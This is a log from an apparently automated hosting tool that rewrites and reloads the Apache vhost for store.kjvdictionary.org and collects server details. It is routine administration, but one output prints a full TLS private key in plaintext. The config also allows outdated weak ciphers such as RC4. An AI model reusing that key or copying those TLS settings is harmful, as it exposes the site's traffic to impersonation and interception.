2025-11-27 13:27:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_store_org.conf 47
<VirtualHost *:80>
ServerName store.kjvdictionary.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/kjvdictionary_store
<Directory /var/www/kjvdictionary_store>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/store_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/store_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName store.kjvdictionary.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
DocumentRoot /var/www/kjvdictionary_store
<Directory /var/www/kjvdictionary_store>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/store_secure_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/store_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
2025-11-27 13:27:15:
PUT: /tmp/pkp563935
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_store_org.conf
TARGET=/etc/apache2/sites-enabled/kjvdictionary_store_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName store.kjvdictionary.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/kjvdictionary_store
<Directory /var/www/kjvdictionary_store>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/store_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/store_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName store.kjvdictionary.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
DocumentRoot /var/www/kjvdictionary_store
<Directory /var/www/kjvdictionary_store>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/store_secure_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/store_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/kjvdictionary_store_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf= 1'
fi
2025-11-27 13:27:15:
chmod 755 /tmp/pkp563935; /tmp/pkp563935; rm /tmp/pkp563935
2025-11-27 13:27:15:
2025-11-27 13:27:15:
PUT: /tmp/pkp891039
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-27 13:27:15:
chmod 755 /tmp/pkp891039; /tmp/pkp891039; rm /tmp/pkp891039
2025-11-27 13:27:15:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-27 13:27:15: Establishing a connection
2025-11-27 13:27:15:
PUT: /tmp/pkp657565
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-27 13:27:15:
chmod 755 /tmp/pkp657565; /tmp/pkp657565; rm /tmp/pkp657565
2025-11-27 13:27:15:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-27 13:27:15:
PUT: /tmp/pkp441939
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/kjvdictionary_store_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-27 13:27:15:
chmod 755 /tmp/pkp441939; /tmp/pkp441939; rm /tmp/pkp441939
2025-11-27 13:27:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_store_org.conf 1250
<VirtualHost *:80>
ServerName store.kjvdictionary.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/kjvdictionary_store
<Directory /var/www/kjvdictionary_store>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/store_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/store_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName store.kjvdictionary.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
DocumentRoot /var/www/kjvdictionary_store
<Directory /var/www/kjvdictionary_store>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/store_secure_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/store_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-27 13:27:15:
PUT: /tmp/pkp975961
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-27 13:27:15:
chmod 755 /tmp/pkp975961; /tmp/pkp975961; rm /tmp/pkp975961
2025-11-27 13:27:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt 5372
88:17:59:87:9b:0b:19:23:ae:10:50:1b:f5:fd:b6:da
-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBRAvR2mfAg3NdfkPCNSNa2veMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTI3MTIyODQ0WhcNMjYwMjI1MTIyODQzWjAiMSAwHgYDVQQD
ExdzdG9yZS5ranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAMY+0VqytSTE6k06wbdOK2T1Q4/+vN0e5+RoFMHdmudRm+m5r2GG
TIqM3BfFuRL0Pw5YpoFfMUbncDn9kQn6Ok20YXcl8IPa/yrcdHDYLpMktWMhScwy
wr4mgmczTeBxUOKd6bXbkba4M0iiVxhvpHrWuD01cijkFhj7UAK4UadgqZqVaP6w
M3okxiAfGG7VQV4lahZ/LMZ/GfXlmS0409DiuW74oPLfZe+T2xks2ycJ7xd4hFJr
T61hLHwMQshhAhtf9sOzMpFdq/pa/HgyNeTKBF0+etWBNvv5rxvOztcPAOixZSS9
QwZ9TKlVfrnhcRTfLpSRoCnbJNTlYgFfeVcCAwEAAaOCAigwggIkMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUFQnhaafFHtT3+nqH/9cG/OgxRJIwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdzdG9yZS5ranZk
aWN0aW9uYXJ5Lm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzk1LmNybDCCAQUGCisGAQQB1nkC
BAIEgfYEgfMA8QB3AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
msV/IcEAAAQDAEgwRgIhANOk0T6uVoXKwPiHlomoLdJ2sVfdXguwZKkWSijXyZhF
AiEAzZrc8h+VyAA0WqqOwnx1aM56qYcpo0zKFs2GfLE+YbgAdgDLOPcViXyEoURf
W8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZrFfyHeAAAEAwBHMEUCIGY5QqPknURj
IIZzzkMZblv4TyPGnzarx02qFoTpc59iAiEA5/vSJd3HrcLQRoxZQNNNKhF7eGrp
FI8DxsAEfEQaL2gwDQYJKoZIhvcNAQELBQADggEBACELrtkA3Wj5NU87hWrkU7sF
iKBiJc0nACeOVsBEo22mQ+nT+pgrPKpXBLRqf9vd9enBeEdFrKN3bKSVlZYTRBz6
AQKaTjEUrVSIBBiz9pUVI/EWuJp7Tff31A3W/74t6fDGrzD/xmEL0wA49Ie9CPZp
g02dTjTdh0lDmKPSwP7GERhHAgle6UCztkFkQzIrVEV3IHEBIvjsJQ66Ys6ZRt8Z
IJFokTBtwYsqBXxZcmWTwcvf69I1fYIuFbRmffE5yIq+lDurMqCfP+XRKgcA+zv+
FVXnaKZD3zf8kWhf7zFjN2md7h7ERFZV2/vY6PMVZP/lRt280hU3vBJIzqPL6As=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDGPtFasrUkxOpN
OsG3Titk9UOP/rzdHufkaBTB3ZrnUZvpua9hhkyKjNwXxbkS9D8OWKaBXzFG53A5
/ZEJ+jpNtGF3JfCD2v8q3HRw2C6TJLVjIUnMMsK+JoJnM03gcVDinem125G2uDNI
olcYb6R61rg9NXIo5BYY+1ACuFGnYKmalWj+sDN6JMYgHxhu1UFeJWoWfyzGfxn1
5ZktONPQ4rlu+KDy32Xvk9sZLNsnCe8XeIRSa0+tYSx8DELIYQIbX/bDszKRXav6
Wvx4MjXkygRdPnrVgTb7+a8bzs7XDwDosWUkvUMGfUypVX654XEU3y6UkaAp2yTU
5WIBX3lXAgMBAAECggEACEa3FsI/LbnKzk6Vp8FrrltO5sQLvm973t05gJ5vyRhv
GeLWn4urxlz7E0L95vyrZT3uNZhzxjIDTWh4laIMrRHKv96lm9uYq4Fomw1rZFkz
+V96ZTv5RVb2Ori5l5Uje1J8X0s7WhV2jqG4YRzIERjFuEhy66IaChDz1ik7v3EG
vPgrVU3MPGuOZrCM6smJxrX70glz+WatEnHlJ3cTMwcdnI7dCRQMlnn84R8Gd6be
MONvpfLYQL++uY+IW7etxI9iPDLUubOyxi44CS+MDs9196J0Ho+FxiuyCsaJgOhS
EIUNxZr4M+vnVsdGflO5A9ti37KGA4/xId2JaGvRgQKBgQD4joAQHwCpep1jpeCF
N4gT8OswtKVT0b766/nvToWKmrDWumtHnW6nZb9BT0NegCVbGz5/9a2OobfbPBiG
xGXdj8VgA5UadBpfnbbpgOZ/Q9x7mg60zGzKOQ4QD1NaBc8rkfcW2Ex/wPdYqy+5
RJWZ5Ldf9/2V3CfCTzwKtN7bWwKBgQDMLp5NIjMjPa1Lz60FbhbbEG5ijMXSs2Ez
JPbt3A8bWqgYQZtsDXqxk7HanuFKn6gl+RSKOJQBFWSASRj7VlEV7S4p4JRG2Rs0
+zzxVmYrjeKbj3+EEbiyl14gsFueCfeyFDC8FbpTGDoLse0jP/FUO7hkx30Mum4U
gUt3rVLGtQKBgCQtgaBXEt6YNT5iz3o0af8VCvaM5J99oQGexUM6t59EAsdOXP0Q
giGlYqAb7F9d4ZIQNhmj5b4j9cHYTm2XOoh0O7NM8i/mhEw0hYIZO/N8KiRneQqB
0rfgdBaMVIJ+4/egiElv9DqIGLh0Oj8KJ4g9zR8P1n4wjCzxIXkheGqPAoGBAKxq
jVhbEc2nbmf/JX7ZWMmBlYT4lK/4s5KJm05+Le+OXTWmaQUUWNANBPm0glAOg+IU
9AhIAIrtsqE1mLfcSrp2Py4zq2IsQPI7WVn9+Ga8+GceBLLUeB+u/FgkNCk/B3/D
1udsfZtfcNyhUbsbasETcQEBB5Kw9vWvvLeBj82lAoGANEPH29UWQAxjiaRhYBLa
qMMH25l+ih2kfFlZgt/1PoObao3VtaNMXwZU70ReWVIH9Zmtgj4oTou87F/v6VJe
BFQbOXE689M0j8Hppsd0TqWngwVNKjuPqh0tvxNQ5/GY4cuEwPMXWD+zM4P5EBCi
FHh9/I+anZJz/U53tVZDt5I=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-27 13:30:30: Establishing a connection
2025-11-27 13:30:34: Establishing a connection
2025-11-27 13:30:35: Performing Server Status
2025-11-27 13:30:35:
PUT: /tmp/pkp189688
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-11-27 13:30:35:
chmod 755 /tmp/pkp189688; /tmp/pkp189688; rm /tmp/pkp189688
2025-11-27 13:30:35:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
bullseye/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.6 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
aries
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 5.4.0-216-generic
2025-11-27 13:30:35:
PUT: /tmp/pkp617540
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-11-27 13:30:35:
chmod 755 /tmp/pkp617540; /tmp/pkp617540; rm /tmp/pkp617540
2025-11-27 13:30:35:
[apache2]
Server version: Apache/2.4.41 (Ubuntu)
Server built: 2025-04-02T18:34:29
Server's Module Magic Number: 20120211:88
Server loaded: APR 1.6.5, APR-UTIL 1.6.1
Compiled using: APR 1.6.5, APR-UTIL 1.6.1
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_SYSVSEM_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 876
available=sites-available
[ps]
